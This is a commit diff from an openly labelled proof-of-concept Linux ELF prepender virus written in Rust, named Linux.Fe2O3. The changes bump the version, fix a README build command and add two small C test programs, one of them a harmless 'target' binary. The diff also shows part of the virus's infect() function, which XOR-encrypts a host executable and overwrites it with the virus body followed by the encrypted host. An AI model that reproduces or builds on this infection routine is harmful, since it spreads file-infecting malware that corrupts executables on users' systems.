fixing readme, updating version in cargo

Cargo.toml

@@ -1,5 +1,5 @@
 [package]
 name = "Linux.Fe2O3"
-version = "0.1.0"
+version = "0.2.0"
 authors = ["Guilherme Thomazi Bonicontro <thomazi@linux.com>"]
 edition = "2019"

README.md

@@ -3,8 +3,8 @@
 This is a POC ELF prepender written in Rust. I like writting prependers on languages that I'm learning and find interesting. As for the name, `Fe2O3` is the chemical formula of Rust, I thought it was appropriate.
 
 # Build
-```$ cd src
-$ rustc main.rs -o Linux.Fe2O3
+```
+$ rustc src/main.rs -o Linux.Fe2O3
 ```
 
 Note that the Rust version used is `rustc 1.37.0 (eae3437df 2019-08-13)`, the latest at this moment.

src/args.c

@@ -0,0 +1,10 @@
+#include <stdio.h>
+
+int main(int argc, char *argv[])
+{
+	int counter;
+	for(counter=0; counter<argc; counter++)
+		printf("argv[%2d]: %s\n",counter,argv[counter]);
+	
+	return 0;
+}

src/main.rs

@@ -97,12 +97,14 @@ fn infect(virus: &OsString, target: &OsStr) {
     let host_buf = read_file(target);
     let encrypted_host_buf = xor_enc_dec(host_buf);
     let mut virus_buf = vec![0; VIRUS_SIZE as usize];
+
     let mut f = File::open(virus).unwrap();
     f.read_exact(&mut virus_buf).unwrap();
 
     let mut infected = File::create(target).unwrap();
     infected.write_all(&virus_buf).unwrap();
     infected.write_all(&encrypted_host_buf).unwrap();
+
     infected.sync_all().unwrap();
     infected.flush().unwrap();
 }

src/target.c

@@ -0,0 +1,5 @@
+#include <stdio.h>
+
+void main() {
+    printf("I am the target!\n");
+}